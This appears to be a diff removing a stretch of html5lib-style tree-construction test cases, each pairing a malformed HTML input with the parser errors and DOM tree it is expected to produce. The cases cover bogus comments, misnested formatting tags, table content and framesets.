-Line: 1 Col: 1 Unexpected non-space characters. Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-|     "<"
-
-#data
-<#
-#errors
-Line: 1 Col: 1 Expected tag name. Got something else instead
-Line: 1 Col: 1 Unexpected non-space characters. Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-|     "<#"
-
-#data
-</
-#errors
-Line: 1 Col: 2 Expected closing tag. Unexpected end of file.
-Line: 1 Col: 2 Unexpected non-space characters. Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-|     "</"
-
-#data
-</#
-#errors
-Line: 1 Col: 2 Expected closing tag. Unexpected character '#' found.
-Line: 1 Col: 3 Unexpected End of file. Expected DOCTYPE.
-#document
-| <!-- # -->
-| <html>
-|   <head>
-|   <body>
-
-#data
-<?
-#errors
-Line: 1 Col: 1 Expected tag name. Got '?' instead. (HTML doesn't support processing instructions.)
-Line: 1 Col: 2 Unexpected End of file. Expected DOCTYPE.
-#document
-| <!-- ? -->
-| <html>
-|   <head>
-|   <body>
-
-#data
-<?#
-#errors
-Line: 1 Col: 1 Expected tag name. Got '?' instead. (HTML doesn't support processing instructions.)
-Line: 1 Col: 3 Unexpected End of file. Expected DOCTYPE.
-#document
-| <!-- ?# -->
-| <html>
-|   <head>
-|   <body>
-
-#data
-<!
-#errors
-Line: 1 Col: 2 Expected '--' or 'DOCTYPE'. Not found.
-Line: 1 Col: 2 Unexpected End of file. Expected DOCTYPE.
-#document
-| <!--  -->
-| <html>
-|   <head>
-|   <body>
-
-#data
-<!#
-#errors
-Line: 1 Col: 3 Expected '--' or 'DOCTYPE'. Not found.
-Line: 1 Col: 3 Unexpected End of file. Expected DOCTYPE.
-#document
-| <!-- # -->
-| <html>
-|   <head>
-|   <body>
-
-#data
-<?COMMENT?>
-#errors
-Line: 1 Col: 1 Expected tag name. Got '?' instead. (HTML doesn't support processing instructions.)
-Line: 1 Col: 11 Unexpected End of file. Expected DOCTYPE.
-#document
-| <!-- ?COMMENT? -->
-| <html>
-|   <head>
-|   <body>
-
-#data
-<!COMMENT>
-#errors
-Line: 1 Col: 2 Expected '--' or 'DOCTYPE'. Not found.
-Line: 1 Col: 10 Unexpected End of file. Expected DOCTYPE.
-#document
-| <!-- COMMENT -->
-| <html>
-|   <head>
-|   <body>
-
-#data
-</ COMMENT >
-#errors
-Line: 1 Col: 2 Expected closing tag. Unexpected character ' ' found.
-Line: 1 Col: 12 Unexpected End of file. Expected DOCTYPE.
-#document
-| <!--  COMMENT  -->
-| <html>
-|   <head>
-|   <body>
-
-#data
-<?COM--MENT?>
-#errors
-Line: 1 Col: 1 Expected tag name. Got '?' instead. (HTML doesn't support processing instructions.)
-Line: 1 Col: 13 Unexpected End of file. Expected DOCTYPE.
-#document
-| <!-- ?COM--MENT? -->
-| <html>
-|   <head>
-|   <body>
-
-#data
-<!COM--MENT>
-#errors
-Line: 1 Col: 2 Expected '--' or 'DOCTYPE'. Not found.
-Line: 1 Col: 12 Unexpected End of file. Expected DOCTYPE.
-#document
-| <!-- COM--MENT -->
-| <html>
-|   <head>
-|   <body>
-
-#data
-</ COM--MENT >
-#errors
-Line: 1 Col: 2 Expected closing tag. Unexpected character ' ' found.
-Line: 1 Col: 14 Unexpected End of file. Expected DOCTYPE.
-#document
-| <!--  COM--MENT  -->
-| <html>
-|   <head>
-|   <body>
-
-#data
-<!DOCTYPE HTML><style> EOF
-#errors
-Line: 1 Col: 26 Unexpected end of file. Expected end tag (style).
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|     <style>
-|       " EOF"
-|   <body>
-
-#data
-<!DOCTYPE HTML><script> <!-- </script> --> </script> EOF
-#errors
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|     <script>
-|       " <!-- </script> --> "
-|     " "
-|   <body>
-|     "EOF"
-
-#data
-<b><p></b>TEST
-#errors
-Line: 1 Col: 3 Unexpected start tag (b). Expected DOCTYPE.
-Line: 1 Col: 10 End tag (b) violates step 1, paragraph 3 of the adoption agency algorithm.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <b>
-|     <p>
-|       <b>
-|       "TEST"
-
-#data
-<p id=a><b><p id=b></b>TEST
-#errors
-Line: 1 Col: 8 Unexpected start tag (p). Expected DOCTYPE.
-Line: 1 Col: 19 Unexpected end tag (p). Ignored.
-Line: 1 Col: 23 End tag (b) violates step 1, paragraph 2 of the adoption agency algorithm.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <p>
-|       id="a"
-|       <b>
-|     <p>
-|       id="b"
-|       "TEST"
-
-#data
-<b id=a><p><b id=b></p></b>TEST
-#errors
-Line: 1 Col: 8 Unexpected start tag (b). Expected DOCTYPE.
-Line: 1 Col: 23 Unexpected end tag (p). Ignored.
-Line: 1 Col: 27 End tag (b) violates step 1, paragraph 2 of the adoption agency algorithm.
-Line: 1 Col: 31 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <b>
-|       id="a"
-|       <p>
-|         <b>
-|           id="b"
-|       "TEST"
-
-#data
-<!DOCTYPE HTML><title>U-test</title><body><div><p>Test<u></p></div></body>
-#errors
-Line: 1 Col: 61 Unexpected end tag (p). Ignored.
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|     <title>
-|       "U-test"
-|   <body>
-|     <div>
-|       <p>
-|         "Test"
-|         <u>
-
-#data
-<!DOCTYPE HTML><font><table></font></table></font>
-#errors
-Line: 1 Col: 35 Unexpected end tag (font) in table context caused voodoo mode.
-Line: 1 Col: 35 End tag (font) violates step 1, paragraph 1 of the adoption agency algorithm.
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|   <body>
-|     <font>
-|       <table>
-
-#data
-<font><p>hello<b>cruel</font>world
-#errors
-Line: 1 Col: 6 Unexpected start tag (font). Expected DOCTYPE.
-Line: 1 Col: 29 End tag (font) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 29 End tag (font) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 34 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <font>
-|     <p>
-|       <font>
-|         "hello"
-|         <b>
-|           "cruel"
-|       <b>
-|         "world"
-
-#data
-<b>Test</i>Test
-#errors
-Line: 1 Col: 3 Unexpected start tag (b). Expected DOCTYPE.
-Line: 1 Col: 11 End tag (i) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 15 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <b>
-|       "TestTest"
-
-#data
-<b>A<cite>B<div>C
-#errors
-Line: 1 Col: 3 Unexpected start tag (b). Expected DOCTYPE.
-Line: 1 Col: 17 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <b>
-|       "A"
-|       <cite>
-|         "B"
-|         <div>
-|           "C"
-
-#data
-<b>A<cite>B<div>C</cite>D
-#errors
-Line: 1 Col: 3 Unexpected start tag (b). Expected DOCTYPE.
-Line: 1 Col: 24 Unexpected end tag (cite). Ignored.
-Line: 1 Col: 25 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <b>
-|       "A"
-|       <cite>
-|         "B"
-|         <div>
-|           "CD"
-
-#data
-<b>A<cite>B<div>C</b>D
-#errors
-Line: 1 Col: 3 Unexpected start tag (b). Expected DOCTYPE.
-Line: 1 Col: 21 End tag (b) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 22 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <b>
-|       "A"
-|       <cite>
-|         "B"
-|     <div>
-|       <b>
-|         "C"
-|       "D"
-
-#data
-<cite><b><cite><i><cite><i><cite><i><div>X</b>TEST
-#errors
-Line: 1 Col: 6 Unexpected start tag (cite). Expected DOCTYPE.
-Line: 1 Col: 46 End tag (b) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 50 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <cite>
-|       <b>
-|         <cite>
-|           <i>
-|             <cite>
-|               <i>
-|                 <cite>
-|       <i>
-|         <i>
-|           <i>
-|             <div>
-|               <b>
-|                 "X"
-|               "TEST"
-
-#data
-
-#errors
-Line: 1 Col: 0 Unexpected End of file. Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-
-#data
-<DIV>
-#errors
-Line: 1 Col: 5 Unexpected start tag (div). Expected DOCTYPE.
-Line: 1 Col: 5 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <div>
-
-#data
-<DIV> abc
-#errors
-Line: 1 Col: 5 Unexpected start tag (div). Expected DOCTYPE.
-Line: 1 Col: 9 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <div>
-|       " abc"
-
-#data
-<DIV> abc <B>
-#errors
-Line: 1 Col: 5 Unexpected start tag (div). Expected DOCTYPE.
-Line: 1 Col: 13 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <div>
-|       " abc "
-|       <b>
-
-#data
-<DIV> abc <B> def
-#errors
-Line: 1 Col: 5 Unexpected start tag (div). Expected DOCTYPE.
-Line: 1 Col: 17 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <div>
-|       " abc "
-|       <b>
-|         " def"
-
-#data
-<DIV> abc <B> def <I>
-#errors
-Line: 1 Col: 5 Unexpected start tag (div). Expected DOCTYPE.
-Line: 1 Col: 21 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <div>
-|       " abc "
-|       <b>
-|         " def "
-|         <i>
-
-#data
-<DIV> abc <B> def <I> ghi
-#errors
-Line: 1 Col: 5 Unexpected start tag (div). Expected DOCTYPE.
-Line: 1 Col: 25 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <div>
-|       " abc "
-|       <b>
-|         " def "
-|         <i>
-|           " ghi"
-
-#data
-<DIV> abc <B> def <I> ghi <P>
-#errors
-Line: 1 Col: 5 Unexpected start tag (div). Expected DOCTYPE.
-Line: 1 Col: 29 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <div>
-|       " abc "
-|       <b>
-|         " def "
-|         <i>
-|           " ghi "
-|           <p>
-
-#data
-<DIV> abc <B> def <I> ghi <P> jkl
-#errors
-Line: 1 Col: 5 Unexpected start tag (div). Expected DOCTYPE.
-Line: 1 Col: 33 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <div>
-|       " abc "
-|       <b>
-|         " def "
-|         <i>
-|           " ghi "
-|           <p>
-|             " jkl"
-
-#data
-<DIV> abc <B> def <I> ghi <P> jkl </B>
-#errors
-Line: 1 Col: 5 Unexpected start tag (div). Expected DOCTYPE.
-Line: 1 Col: 38 End tag (b) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 38 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <div>
-|       " abc "
-|       <b>
-|         " def "
-|         <i>
-|           " ghi "
-|       <i>
-|         <p>
-|           <b>
-|             " jkl "
-
-#data
-<DIV> abc <B> def <I> ghi <P> jkl </B> mno
-#errors
-Line: 1 Col: 5 Unexpected start tag (div). Expected DOCTYPE.
-Line: 1 Col: 38 End tag (b) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 42 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <div>
-|       " abc "
-|       <b>
-|         " def "
-|         <i>
-|           " ghi "
-|       <i>
-|         <p>
-|           <b>
-|             " jkl "
-|           " mno"
-
-#data
-<DIV> abc <B> def <I> ghi <P> jkl </B> mno </I>
-#errors
-Line: 1 Col: 5 Unexpected start tag (div). Expected DOCTYPE.
-Line: 1 Col: 38 End tag (b) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 47 End tag (i) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 47 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <div>
-|       " abc "
-|       <b>
-|         " def "
-|         <i>
-|           " ghi "
-|       <i>
-|       <p>
-|         <i>
-|           <b>
-|             " jkl "
-|           " mno "
-
-#data
-<DIV> abc <B> def <I> ghi <P> jkl </B> mno </I> pqr
-#errors
-Line: 1 Col: 5 Unexpected start tag (div). Expected DOCTYPE.
-Line: 1 Col: 38 End tag (b) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 47 End tag (i) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 51 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <div>
-|       " abc "
-|       <b>
-|         " def "
-|         <i>
-|           " ghi "
-|       <i>
-|       <p>
-|         <i>
-|           <b>
-|             " jkl "
-|           " mno "
-|         " pqr"
-
-#data
-<DIV> abc <B> def <I> ghi <P> jkl </B> mno </I> pqr </P>
-#errors
-Line: 1 Col: 5 Unexpected start tag (div). Expected DOCTYPE.
-Line: 1 Col: 38 End tag (b) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 47 End tag (i) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 56 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <div>
-|       " abc "
-|       <b>
-|         " def "
-|         <i>
-|           " ghi "
-|       <i>
-|       <p>
-|         <i>
-|           <b>
-|             " jkl "
-|           " mno "
-|         " pqr "
-
-#data
-<DIV> abc <B> def <I> ghi <P> jkl </B> mno </I> pqr </P> stu
-#errors
-Line: 1 Col: 5 Unexpected start tag (div). Expected DOCTYPE.
-Line: 1 Col: 38 End tag (b) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 47 End tag (i) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 60 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <div>
-|       " abc "
-|       <b>
-|         " def "
-|         <i>
-|           " ghi "
-|       <i>
-|       <p>
-|         <i>
-|           <b>
-|             " jkl "
-|           " mno "
-|         " pqr "
-|       " stu"
-
-#data
-<test attribute---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------->
-#errors
-Line: 1 Col: 1040 Unexpected start tag (test). Expected DOCTYPE.
-Line: 1 Col: 1040 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <test>
-|       attribute----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------=""
-
-#data
-<a href="blah">aba<table><a href="foo">br<tr><td></td></tr>x</table>aoe
-#errors
-Line: 1 Col: 15 Unexpected start tag (a). Expected DOCTYPE.
-Line: 1 Col: 39 Unexpected start tag (a) in table context caused voodoo mode.
-Line: 1 Col: 39 Unexpected start tag (a) implies end tag (a).
-Line: 1 Col: 39 End tag (a) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 41 Unexpected non-space characters in table context caused voodoo mode.
-Line: 1 Col: 45 Unexpected implied end tag (a) in the table phase.
-Line: 1 Col: 60 Unexpected non-space characters in table context caused voodoo mode.
-Line: 1 Col: 68 Unexpected implied end tag (a) in the table phase.
-Line: 1 Col: 71 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <a>
-|       href="blah"
-|       "aba"
-|       <a>
-|         href="foo"
-|         "br"
-|       <a>
-|         href="foo"
-|         "x"
-|       <table>
-|         <tbody>
-|           <tr>
-|             <td>
-|     <a>
-|       href="foo"
-|       "aoe"
-
-#data
-<a href="blah">aba<table><tr><td><a href="foo">br</td></tr>x</table>aoe
-#errors
-Line: 1 Col: 15 Unexpected start tag (a). Expected DOCTYPE.
-Line: 1 Col: 54 Got table cell end tag (td) while required end tags are missing.
-Line: 1 Col: 60 Unexpected non-space characters in table context caused voodoo mode.
-Line: 1 Col: 71 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <a>
-|       href="blah"
-|       "abax"
-|       <table>
-|         <tbody>
-|           <tr>
-|             <td>
-|               <a>
-|                 href="foo"
-|                 "br"
-|       "aoe"
-
-#data
-<table><a href="blah">aba<tr><td><a href="foo">br</td></tr>x</table>aoe
-#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 22 Unexpected start tag (a) in table context caused voodoo mode.
-Line: 1 Col: 25 Unexpected non-space characters in table context caused voodoo mode.
-Line: 1 Col: 29 Unexpected implied end tag (a) in the table phase.
-Line: 1 Col: 54 Got table cell end tag (td) while required end tags are missing.
-Line: 1 Col: 60 Unexpected non-space characters in table context caused voodoo mode.
-Line: 1 Col: 68 Unexpected implied end tag (a) in the table phase.
-Line: 1 Col: 71 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <a>
-|       href="blah"
-|       "aba"
-|     <a>
-|       href="blah"
-|       "x"
-|     <table>
-|       <tbody>
-|         <tr>
-|           <td>
-|             <a>
-|               href="foo"
-|               "br"
-|     <a>
-|       href="blah"
-|       "aoe"
-
-#data
-<a href=a>aa<marquee>aa<a href=b>bb</marquee>aa
-#errors
-Line: 1 Col: 10 Unexpected start tag (a). Expected DOCTYPE.
-Line: 1 Col: 45 End tag (marquee) seen too early. Expected other end tag.
-Line: 1 Col: 47 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <a>
-|       href="a"
-|       "aa"
-|       <marquee>
-|         "aa"
-|         <a>
-|           href="b"
-|           "bb"
-|       "aa"
-
-#data
-<wbr><strike><code></strike><code><strike></code>
-#errors
-Line: 1 Col: 5 Unexpected start tag (wbr). Expected DOCTYPE.
-Line: 1 Col: 28 End tag (strike) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 49 Unexpected end tag (code). Ignored.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <wbr>
-|     <strike>
-|       <code>
-|     <code>
-|       <strike>
-
-#data
-<title><meta></title><link><title><meta></title>
-#errors
-Line: 1 Col: 7 Unexpected start tag (title). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|     <title>
-|       "<meta>"
-|     <link>
-|     <title>
-|       "<meta>"
-|   <body>
-
-#data
-<style><!--</style><meta><script>--><link></script>
-#errors
-Line: 1 Col: 7 Unexpected start tag (style). Expected DOCTYPE.
-Line: 1 Col: 51 Unexpected end of file. Expected end tag (style).
-#document
-| <html>
-|   <head>
-|     <style>
-|       "<!--</style><meta><script>--><link></script>"
-|   <body>
-
-#data
-<head><meta></head><link>
-#errors
-Line: 1 Col: 6 Unexpected start tag (head). Expected DOCTYPE.
-Line: 1 Col: 25 Unexpected start tag (link) that can be in head. Moved.
-#document
-| <html>
-|   <head>
-|     <meta>
-|     <link>
-|   <body>
-
-#data
-<table><tr><tr><td><td><span><th><span>X</table>
-#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 33 Got table cell end tag (td) while required end tags are missing.
-Line: 1 Col: 48 Got table cell end tag (th) while required end tags are missing.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <table>
-|       <tbody>
-|         <tr>
-|         <tr>
-|           <td>
-|           <td>
-|             <span>
-|           <th>
-|             <span>
-|               "X"
-
-#data
-<body><body><base><link><meta><title><p></title><body><p></body>
-#errors
-Line: 1 Col: 6 Unexpected start tag (body). Expected DOCTYPE.
-Line: 1 Col: 12 Unexpected start tag (body).
-Line: 1 Col: 37 Unexpected start tag (title) that can be in head. Moved.
-Line: 1 Col: 54 Unexpected start tag (body).
-Line: 1 Col: 64 Unexpected end tag (p). Missing end tag (body).
-#document
-| <html>
-|   <head>
-|     <title>
-|       "<p>"
-|   <body>
-|     <base>
-|     <link>
-|     <meta>
-|     <p>
-
-#data
-<textarea><p></textarea>
-#errors
-Line: 1 Col: 10 Unexpected start tag (textarea). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <textarea>
-|       "<p>"
-
-#data
-<p><image></p>
-#errors
-Line: 1 Col: 3 Unexpected start tag (p). Expected DOCTYPE.
-Line: 1 Col: 10 Unexpected start tag (image). Treated as img.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <p>
-|       <img>
-
-#data
-<a><table><a></table><p><a><div><a>
-#errors
-Line: 1 Col: 3 Unexpected start tag (a). Expected DOCTYPE.
-Line: 1 Col: 13 Unexpected start tag (a) in table context caused voodoo mode.
-Line: 1 Col: 13 Unexpected start tag (a) implies end tag (a).
-Line: 1 Col: 13 End tag (a) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 21 Unexpected end tag (table). Expected end tag (a).
-Line: 1 Col: 27 Unexpected start tag (a) implies end tag (a).
-Line: 1 Col: 27 End tag (a) violates step 1, paragraph 2 of the adoption agency algorithm.
-Line: 1 Col: 32 Unexpected end tag (p). Ignored.
-Line: 1 Col: 35 Unexpected start tag (a) implies end tag (a).
-Line: 1 Col: 35 End tag (a) violates step 1, paragraph 2 of the adoption agency algorithm.
-Line: 1 Col: 35 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <a>
-|       <a>
-|       <table>
-|     <p>
-|       <a>
-|     <div>
-|       <a>
-
-#data
-<head></p><meta><p>
-#errors
-Line: 1 Col: 6 Unexpected start tag (head). Expected DOCTYPE.
-Line: 1 Col: 10 Unexpected end tag (p). Ignored.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <p>
-|     <meta>
-|     <p>
-
-#data
-<head></html><meta><p>
-#errors
-Line: 1 Col: 6 Unexpected start tag (head). Expected DOCTYPE.
-Line: 1 Col: 19 Unexpected start tag (meta). Expected end of file.
-Line: 1 Col: 19 Unexpected start tag token (meta) in the after body phase.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <meta>
-|     <p>
-
-#data
-<b><table><td><i></table>
-#errors
-Line: 1 Col: 3 Unexpected start tag (b). Expected DOCTYPE.
-Line: 1 Col: 14 Unexpected table cell start tag (td) in the table body phase.
-Line: 1 Col: 25 Got table cell end tag (td) while required end tags are missing.
-Line: 1 Col: 25 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <b>
-|       <table>
-|         <tbody>
-|           <tr>
-|             <td>
-|               <i>
-
-#data
-<b><table><td></b><i></table>
-#errors
-Line: 1 Col: 3 Unexpected start tag (b). Expected DOCTYPE.
-Line: 1 Col: 14 Unexpected table cell start tag (td) in the table body phase.
-Line: 1 Col: 18 End tag (b) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 29 Got table cell end tag (td) while required end tags are missing.
-Line: 1 Col: 29 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <b>
-|       <table>
-|         <tbody>
-|           <tr>
-|             <td>
-|               <i>
-
-#data
-<h1><h2>
-#errors
-Line: 1 Col: 4 Unexpected start tag (h1). Expected DOCTYPE.
-Line: 1 Col: 8 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <h1>
-|       <h2>
-
-#data
-<a><p><a></a></p></a>
-#errors
-Line: 1 Col: 3 Unexpected start tag (a). Expected DOCTYPE.
-Line: 1 Col: 9 Unexpected start tag (a) implies end tag (a).
-Line: 1 Col: 9 End tag (a) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 21 End tag (a) violates step 1, paragraph 1 of the adoption agency algorithm.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <a>
-|     <p>
-|       <a>
-|       <a>
-
-#data
-<b><button></b></button></b>
-#errors
-Line: 1 Col: 3 Unexpected start tag (b). Expected DOCTYPE.
-Line: 1 Col: 15 End tag (b) violates step 1, paragraph 1 of the adoption agency algorithm.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <b>
-|       <button>
-
-#data
-<p><b><div><marquee></p></b></div>
-#errors
-Line: 1 Col: 3 Unexpected start tag (p). Expected DOCTYPE.
-Line: 1 Col: 11 Unexpected end tag (p). Ignored.
-Line: 1 Col: 24 Unexpected end tag (p). Ignored.
-Line: 1 Col: 28 End tag (b) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 34 End tag (div) seen too early. Expected other end tag.
-Line: 1 Col: 34 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <p>
-|       <b>
-|     <div>
-|       <b>
-|         <marquee>
-|           <p>
-
-#data
-<script></script></div><title></title><p><p>
-#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 23 Unexpected end tag (div). Ignored.
-#document
-| <html>
-|   <head>
-|     <script>
-|     <title>
-|   <body>
-|     <p>
-|     <p>
-
-#data
-<p><hr></p>
-#errors
-Line: 1 Col: 3 Unexpected start tag (p). Expected DOCTYPE.
-Line: 1 Col: 11 Unexpected end tag (p). Ignored.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <p>
-|     <hr>
-|     <p>
-
-#data
-<select><b><option><select><option></b></select>
-#errors
-Line: 1 Col: 8 Unexpected start tag (select). Expected DOCTYPE.
-Line: 1 Col: 11 Unexpected start tag token (b) in the select phase. Ignored.
-Line: 1 Col: 27 Unexpected select start tag in the select phase implies select start tag.
-Line: 1 Col: 35 Unexpected start tag option. Ignored.
-Line: 1 Col: 39 End tag (b) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 48 Unexpected end tag (select). Ignored.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <select>
-|       <option>
-
-#data
-<html><head><title></title><body></body></html>
-#errors
-Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|     <title>
-|   <body>
-
-#data
-<a><table><td><a><table></table><a></tr><a></table><a>
-#errors
-Line: 1 Col: 3 Unexpected start tag (a). Expected DOCTYPE.
-Line: 1 Col: 14 Unexpected table cell start tag (td) in the table body phase.
-Line: 1 Col: 35 Unexpected start tag (a) implies end tag (a).
-Line: 1 Col: 40 Got table cell end tag (td) while required end tags are missing.
-Line: 1 Col: 43 Unexpected start tag (a) in table context caused voodoo mode.
-Line: 1 Col: 43 Unexpected start tag (a) implies end tag (a).
-Line: 1 Col: 43 End tag (a) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 51 Unexpected implied end tag (a) in the table phase.
-Line: 1 Col: 54 Unexpected start tag (a) implies end tag (a).
-Line: 1 Col: 54 End tag (a) violates step 1, paragraph 2 of the adoption agency algorithm.
-Line: 1 Col: 54 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <a>
-|       <a>
-|       <table>
-|         <tbody>
-|           <tr>
-|             <td>
-|               <a>
-|                 <table>
-|               <a>
-|     <a>
-
-#data
-<ul><li></li><div><li></div><li><li><div><li><address><li><b><em></b><li></ul>
-#errors
-Line: 1 Col: 4 Unexpected start tag (ul). Expected DOCTYPE.
-Line: 1 Col: 45 Missing end tag (div, li).
-Line: 1 Col: 58 Missing end tag (address, li).
-Line: 1 Col: 69 End tag (b) violates step 1, paragraph 3 of the adoption agency algorithm.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <ul>
-|       <li>
-|       <div>
-|         <li>
-|       <li>
-|       <li>
-|         <div>
-|       <li>
-|         <address>
-|       <li>
-|         <b>
-|           <em>
-|       <li>
-
-#data
-<frameset><frame><frameset><frame></frameset><noframes></noframes></frameset>
-#errors
-Line: 1 Col: 10 Unexpected start tag (frameset). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <frameset>
-|     <frame>
-|     <frameset>
-|       <frame>
-|     <noframes>
-
-#data
-<body><frame></frame></frame><frameset><frame><frameset><frame></frameset><noframes></frameset><noframes>
-#errors
-Line: 1 Col: 6 Unexpected start tag (body). Expected DOCTYPE.
-Line: 1 Col: 13 Unexpected start tag frame. Ignored.
-Line: 1 Col: 21 This element (frame) has no end tag.
-Line: 1 Col: 29 This element (frame) has no end tag.
-Line: 1 Col: 39 Unexpected start tag frameset. Ignored.
-Line: 1 Col: 46 Unexpected start tag frame. Ignored.
-Line: 1 Col: 56 Unexpected start tag frameset. Ignored.
-Line: 1 Col: 63 Unexpected start tag frame. Ignored.
-Line: 1 Col: 74 Unexpected end tag (frameset). Ignored.
-Line: 1 Col: 105 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <noframes>
-|       "</frameset><noframes>"
-
-#data
-<h1><table><td><h3></table><h3></h1>
-#errors
-Line: 1 Col: 4 Unexpected start tag (h1). Expected DOCTYPE.
-Line: 1 Col: 15 Unexpected table cell start tag (td) in the table body phase.
-Line: 1 Col: 27 Got table cell end tag (td) while required end tags are missing.
-Line: 1 Col: 36 End tag (h1) seen too early. Expected other end tag.
